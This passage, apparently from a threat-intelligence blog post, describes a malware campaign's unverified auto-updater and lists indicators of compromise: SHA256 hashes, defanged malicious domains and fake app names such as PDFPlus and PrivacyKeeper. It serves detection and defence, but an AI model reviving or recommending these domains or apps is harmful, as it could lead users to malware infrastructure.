application files on disk.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2026/09/rubber-ducky-in-the-sky/images/fig10.png" title="Figure 10: JavaScript snippit running backdoor .NET application" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 10: JavaScript snippit running backdoor .NET application&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;AutoUpdate.exe is a small .NET updater which reads AutoUpdater.config,
retrieves a remote XML manifest, compares the advertised file versions against
those installed locally and downloads replacements into a temporary directory.
If an update requires a restart, it terminates the running application,
replaces the existing files and launches the updated executable, with a basic
rollback mechanism available if the process fails. Notably, the updater
performs no hash or signature verification on the files it downloads before
placing them into the application directory. The recovered configuration has
this mechanism enabled and points it back to the same
&lt;code&gt;whatsapptime.herokuapp[.]com&lt;/code&gt; infrastructure, where it requests a remote
update manifest for the malware and tracks the versions of the main executable
and several supporting NW.js files.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2026/09/rubber-ducky-in-the-sky/images/fig11.png" title="Figure 11: Configuration file for Autoupdater binary" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 11: Configuration file for Autoupdater binary&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The main risk is that the application gives its operators several ways to
change what runs on an infected system after the initial installation.
JavaScript can be retrieved from the remote server and executed directly inside
the NW.js process, while &lt;code&gt;main.js&lt;/code&gt; can also launch the updater to replace the
application binaries themselves. The update process is particularly weak
because downloaded files are not verified with a hash or digital signature
before being copied into place and executed. This means that compromise of the
update infrastructure, local configuration, or network path could be used to
deliver arbitrary code, while the existing reporting and host-profiling logic
gives the operators a way to tailor that behaviour to individual systems.&lt;/p&gt;
&lt;p&gt;Based on the network activity of
&lt;a href="https://www.virustotal.com/gui/file/c41e9559f18a18c058e38014f6c68b1c7953374db5b26ddee0b7700c82fbebcb"target="_blank" rel="noopener"&gt;scripts&lt;/a&gt;
submitted to VirusTotal in January of 2016, this activity has been occurring
for at least 10 years.&lt;/p&gt;
&lt;h2&gt;Indicators of Compromise&lt;span class="hx:absolute hx:-mt-20" id="indicators-of-compromise"&gt;&lt;/span&gt;
&lt;a href="#indicators-of-compromise" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;NinjaMare Wave&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;th style="text-align: left"&gt;Package URL&lt;/th&gt;
&lt;th style="text-align: left"&gt;App Name&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;06a044644b0b896c72800c9dfc1ec1770b46001a8f8a21fb3ba28949e52120ef&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://pdfcdn[.]pdfplus[.]app/pdfplus/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;PDFPlus&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;0a0b6d419aa7520ff29ac5cec8d1a4a89096319774cf481127a92048566eeb91&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://pgcdn[.]privacyguard[.]app/privacy/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;PrivacyGuard Browser&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;122cc8665410ccbbef1ca08e07baa824bce89378f0d2590ad6c8e69018a8dd3a&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]safe-scan[.]info/safescan/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;SafeScan&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;1624e398132a247c73177d7f2c30699b59c8c6b1c4db7cfc9db4be8b9ac82a22&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]stealth-guard[.]app/stealthguard/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;StealthGuard&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;1a1aa66e1ba32b2574e17547f0d30202ca4c52c1a57c2c9da3e0f9a053989be0&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]privacy-keeper[.]app/privacykeeper/src/browser[.]wv[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;PrivacyKeeper&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;24ec63f3976d04f5e7a7f229ae76301bd1ca6099016d65a727d1c33459853847&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]net-guard[.]app/netguard/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;NetGuard&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;2632787e4b1661cb73e313e8d93e6d8981bb6cafe6daada5d6ffa44d850999af&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]hush-browse[.]app/hushbrowse/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;HushBrowse&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;3316a4a24270ec8b268ea07635c66de2dd0c24776b834f60529f2d9b1104479f&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]safe-mail[.]app/safemail/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;SafeMailApp&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;38fd1fa146c18d865083228ce5d909e1c071edf45ab281016be696d858909e9a&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]guard-mate[.]app/guardmate/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;GuardMate&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;53f6bf07f9591064da3dd9a640d9352aac2212e721a5b2f6a75f15353a2079ac&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]safedomain-guardian[.]app/safedomainguardian/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;SafeDomainGuardian&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;63f043de4e769f46838e4891e2fc96b247ebeee2806240874867ca5d343d5e33&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]leakmonitor-live[.]app/leakmonitorlive/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;LeakMonitor Live&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;65c9f218db83f0d8f8a8aef8541a1fdab9b5bc8851dccb113fed7adf5d15e290&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]securi-guard[.]app/securiguard/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;SecuriGuard&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;666d5988daba77d91ee1383327d78670feb10a554f2b20af9d62d5a592a2ec75&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]stealth-browse[.]app/stealthbrowse/src/browser[.]v2[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;StealthBrowse&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;6ba8fe022212713ffaec8940c3bd023e75528c4d2d00d1f69accb766ba241f15&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://pbcdn[.]privacybrowse[.]app/privacybrowse/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;PrivacyBrowse&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;6d4fca33a47009ec718f30f2e66d1122d7b1d40e1b42249725ca3342be9c1778&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]privacy-keeper[.]app/privacykeeper/src/browser[.]wv[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;PK&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;6f89cbe7c4310c337603f11ec0218e64a10d3c09bb60d6047caeed298514340e&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://pdfcdn[.]pdfapps[.]online/brightpdf/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;BrightPDF&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;7a8ac6b50ce1dfb8916e79e184ad17fa9c3284a0134a0eac76bb1f300e33be8c&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]safe-browse[.]app/safebrowse/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;SafeBrowse&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;803b58b51899fda3ae78ea1afdaf7cb27cf2bbd15e24f2f4206d56814483610f&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://gptcdn[.]gpt-browser[.]com/gpt/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;GPTBrowser&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;851bfa0eae13c38a7580bd542d8b5b283d811719699129be1a34c09e185efee9&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]privacy-keeper[.]app/privacykeeper/src/browser[.]wv[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;PrivacyKeeper&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;871f83a2cbcbcf5edf16d532acbec3ff7d5e15fdbb308d47f46bcf7fdeb30159&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]private-browsing[.]app/privatebrowsing/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;PrivateBrowsing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;8ed91cb0478f21a23bbf6ca23b9577c90fe9eedff6cb3fe4effbf90a52564b9c&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]securepass[.]info/securepass/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;SecurePassApp&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;961b50c8419d220d479a7e029f0cf4aeb1233ed3b21ff9f8b3bca8f23adfd434&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]safe-net-check[.]app/safenet/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;SafeNetApp&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;abb9c26f58962a19ea1362c859dca5b7dd59216858e38ec6c15258d1489cda38&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]cool-pdf[.]app/coolpdf/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;CoolPDF&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;af1a553afa5ca2c138665e7ea1821c08cb7ef5931660c7d85eaed856164bf132&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://tencdn[.]ten-browser[.]com/ten/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;TenBrowser&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;afa2250fb08d3c47b09ee5dca817fd686f4196e22d834993dc8a9ac36630c22e&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]safedomain-guardian[.]app/safedomainguardian/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;SafeDomain Guardian&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;bebd647687d3f57b4f1077eba829ae0353546179f2d7170faab769fae7e61c15&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]stealth-browse[.]app/stealthbrowse/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;StealthBrowse&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;c054e260401d7b203382752666b03f334312eb019a1483fc04d348e5acbcdb5b&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]securi-guard[.]app/securiguard/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;SecuriGuard&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;c78bab0006476441720a40dfc201d1134a97906b74c544e2e2c22812de576e59&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]guard-glider[.]app/guardglider/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;GuardGlider&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;c96fcb15d8fbcf555fa2f1e7502610348caa3220dd9c29fdab4d05625f0fa5e9&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]call-guard[.]app/callguard/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;CallGuard&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;d36c8f2dc20938345bb5969995472ddb02b47590fb0a32613659026912447b1e&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]privacy-shield[.]app/privacyshield/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;PrivacyShield Browser&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;d47515fd5abbef216a3e855ab5275702b6f461d07d8ee911eb5c605541b7365f&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]quick-pdf[.]app/quickpdf/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;Quick PDF&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;d4fd6ea43624344dd7f4715402141cc3ddb0a17c76e34a08e5dd672075040b4e&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]stealth-guard[.]app/stealthguard/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;StealthGuard&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;d66895d8da6d5eb1d8658647c80f66dce40236c06bb600f1c62a44a657f923b3&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]safe-watch[.]app/safewatch/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;SafeWatch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;e2e0c160d7f9550f3bc61ee28a714567b649c6e32634a8e7b4b8c8885d821bae&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]privacy-keeper[.]app/privacykeeper/src/browser[.]wv[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;PrivacyKeeper&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;e9cfdcb18bb4c54802b7214a226d983c0015bb37e41a39a4d293d4e674fa94c8&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]leak-guard[.]app/leakguard/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;LeakGuard&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;ea2d72cb87c93f447be6502690328f441fdf2fa665d12938bb294bbd18855aeb&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]watchitonline[.]app/watchthisonline/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;WatchThisOnline&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;f0762b9c85027acb99ca26177ebf58bdf84d2d5e4401296c7ce95788280ece10&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]safe-guard[.]app/safeguard/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;SafeGuard Browser&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;f7da16d3260ebee5b30cc23613aad6dd9e28aaee31aeb00075acd9fa5aee9855&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]safe-mail[.]app/safemail/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;SafeMailApp&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;fc577d03d84db5fd5f973afcf3e595d4471244d7bb71566b1dcf490e161aad2b&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]stealth-guard[.]app/stealthguard/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;StealthGuard&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;ff5b9aa8094e962b1803d011730c9278afbfb42aa3dac9f71ebe78449218728a&lt;/td&gt;
&lt;td style="text-align: left"&gt;https://cdn[.]safe-drop[.]app/safedrop/src/browser[.]html&lt;/td&gt;
&lt;td style="text-align: left"&gt;SafeDrop&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Whatsapptime Wave&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;th style="text-align: left"&gt;App Name&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;0a5b182b941c555fb719cbbfde83e27effc774bde30d567ebf48012475ee0bba&lt;/td&gt;
&lt;td style="text-align: left"&gt;whatsappTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;114383bc58403c902da99a407855ce5693997f112db435e813ba93f3f4c2234b&lt;/td&gt;
&lt;td style="text-align: left"&gt;InstaTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;1a6c3066f276e1ab72d433d02f89c9aeea027fa7a596b1bd4072624a04532573&lt;/td&gt;
&lt;td style="text-align: left"&gt;BibleTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;22569d4409ca2b31536d2a3891bf6c95e0d499286fca99218498f5309071f22b&lt;/td&gt;
&lt;td style="text-align: left"&gt;DailyWiki&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;22b0cd0eb7116ef53818bdd71fcb70eda428f3496d93ab5aefebdccddcc9049d&lt;/td&gt;
&lt;td style="text-align: left"&gt;BibleTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;2974015293d0ea9eef1f1e5c4a35c1c0864ec1c5bfb01c6a66bebc323cbebc85&lt;/td&gt;
&lt;td style="text-align: left"&gt;BibleTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;2c3949e0a5773bc32fd195689ce2bf81367fb8b5078039de5b66022eca34e5e3&lt;/td&gt;
&lt;td style="text-align: left"&gt;BibleTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;32ea46c5c6fbe5430976c309138a6a5c98008e157fe6b07814d748c8b23aeabd&lt;/td&gt;
&lt;td style="text-align: left"&gt;InstaTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;391cde45f897ce8dd122ab5953d9ec8125e11d59a36f7947af5a7c564fcb75fe&lt;/td&gt;
&lt;td style="text-align: left"&gt;whatsappTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;45cec7399fd13ae5a332aee512357a7f2824d56964cd14eeb4faa79b091f9500&lt;/td&gt;
&lt;td style="text-align: left"&gt;FacebookTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;48aef01a7b7d829e4338f2ca4a02a27449fbbb603615ef7fc3fd912f2e3fe590&lt;/td&gt;
&lt;td style="text-align: left"&gt;InstaTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;49438046e77fd6713cb61de1a4c0daf2644661894511c42e2bfdee5bdcf8a317&lt;/td&gt;
&lt;td style="text-align: left"&gt;BibleTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;50e1c5b515ff630a4b2932a775381aeab7a47763b72e6517c5cd505f8a101990&lt;/td&gt;
&lt;td style="text-align: left"&gt;InstaTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;5159d6a02087baf420e5eb87faf7e0e36c93e406037b66d2ed01422defbd89c3&lt;/td&gt;
&lt;td style="text-align: left"&gt;WikiZ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;5485f53768d47d871979a6508b1df83ce36e2df959828076865ffa59d2510e37&lt;/td&gt;
&lt;td style="text-align: left"&gt;TinderTop&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;5a78817f3677c46ca8a53b327a66bc78947937722c234274ea776f5456c4c807&lt;/td&gt;
&lt;td style="text-align: left"&gt;DailyBee&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;5edc6f867109ccb74164bb86b802c326ed9eef52e1c97465066646351d57af20&lt;/td&gt;
&lt;td style="text-align: left"&gt;BibleTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;6082907ec2e9e33ac37c3238fa1dc70969c656047f14874bca7a424c895f6bac&lt;/td&gt;
&lt;td style="text-align: left"&gt;InstaTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;6439cf936a93d8295addd87c4fcc38b7c039fd810056aabe8d9965e5b8d6626e&lt;/td&gt;
&lt;td style="text-align: left"&gt;InstaTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;71946e214a84f78b592085a3cc70a7c4c0483ebdd2a2ea3e08a8b7b3ea80a2a3&lt;/td&gt;
&lt;td style="text-align: left"&gt;InstaTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;72108633a3b28f71e1f6c3391014beb1bde81d0a8fcc98c6ae2ae0083e9dc6db&lt;/td&gt;
&lt;td style="text-align: left"&gt;WikiTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;7309fe2138b9ecf7938f23d2a56c411b64007e95a8744f00aeb7c9a611b63f23&lt;/td&gt;
&lt;td style="text-align: left"&gt;WikiZ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;7bc2ad2081f91ee2f0aa7ced3639522972595920b03bd8b63b66949f487931b7&lt;/td&gt;
&lt;td style="text-align: left"&gt;whatsappTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;7d237db2480d985daad65900f8178163f6b7488f0b4d44457b31e9d98e026d73&lt;/td&gt;
&lt;td style="text-align: left"&gt;whatsappTimeBeta&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;85e2061fe5233491da99acfe71700e21a3a51bb254380003a7dbd989fafdc7f3&lt;/td&gt;
&lt;td style="text-align: left"&gt;DailyWiki&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;8b618342de180aad482b77d449fd65c10fa05be4d9a464c42d8f3cb0ebc0311b&lt;/td&gt;
&lt;td style="text-align: left"&gt;TrailerTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;8fe6c09588eb1579ff219b290ccbed0c3af7b96753f91f14bda7d5f6679504ba&lt;/td&gt;
&lt;td style="text-align: left"&gt;whatsappTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;9b48386c2605b27a9c6da7c8bc3e9e0e2f13243199975cb7c8546f3dd319b423&lt;/td&gt;
&lt;td style="text-align: left"&gt;InstaTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;9cf1af42f8ddfee3c847e4b1dde826b9306480e2d7c9f058c85a49862edd0f8e&lt;/td&gt;
&lt;td style="text-align: left"&gt;MessengerTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;a2ff2df4198eaf6902d3dd6559953c77537bf748fca7e2cd40372174afca6656&lt;/td&gt;
&lt;td style="text-align: left"&gt;InstaTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;ae2cb3f9563c7545797ad60ba441df9e2390ccdfecc8a6e07dcf566753baa2f4&lt;/td&gt;
&lt;td style="text-align: left"&gt;DailyBee&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;afea5c375c5fc30078ca56a589b9e86afae8a095635d07a5e72e7a22d15fc023&lt;/td&gt;
&lt;td style="text-align: left"&gt;InstaTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;b0067e66c12bc72f2ebd0e31a886533cbae392b7b14ce06d04ee7a164749a9c6&lt;/td&gt;
&lt;td style="text-align: left"&gt;BibleTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;c8e55a7ad6a33a2cb2a0d9508f94ff868a758de031ad0e1df51df16533fe6dd8&lt;/td&gt;
&lt;td style="text-align: left"&gt;InstaTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;c986ba426f073c511af8142a8dcbbc545807a82f950971275bf4ae3129e29f6a&lt;/td&gt;
&lt;td style="text-align: left"&gt;whatsappTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;d292886ddfaf1d976872c342c74ec6744226f844777a01a85d103bedb128b6c7&lt;/td&gt;
&lt;td style="text-align: left"&gt;WhiteSmoke&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;d2f522280d5d9cb5b244240b44118974771d184e5a7a7605b5032cb78805f643&lt;/td&gt;
&lt;td style="text-align: left"&gt;BibleTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;dd7ce55cb5422a51d9bfc8034628d3ad63c142df1b21cec1fa3ec66ec9137240&lt;/td&gt;
&lt;td style="text-align: left"&gt;MessengerTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;e0755ca4e83f9f0a7397ebd63c4ed2dfa67ce497f3c7e8021997bc63a1f2fef7&lt;/td&gt;
&lt;td style="text-align: left"&gt;UnitConverter&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;e7e30fbc9dbbbd28402b977f8460756e04fd98b6d5c1e5957c76fe57225a0a06&lt;/td&gt;
&lt;td style="text-align: left"&gt;whatsappTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;e7f5f7eee0f9224b00e7bcde9e22ab4a1f5cb2b1a8c16b2596c4951da74e8101&lt;/td&gt;
&lt;td style="text-align: left"&gt;whatsappTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;e98ccaf92814c77fac6c6dc28abe78e90a107488934cde19b48f10becaa4e428&lt;/td&gt;
&lt;td style="text-align: left"&gt;WhatsappTime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;f1be8ef3534496c7a053d38fd74de44f191f87727d4c28a328c5efceca40b583&lt;/td&gt;
&lt;td style="text-align: left"&gt;InstaTime&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Appendix A - NinjaMare Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="appendix-a---ninjamare-technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#appendix-a---ninjamare-technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;details class="hx:last-of-type:mb-0 hx:rounded-lg hx:bg-neutral-50 hx:dark:bg-neutral-800 hx:p-2 hx:mt-4 hx:group" &gt;
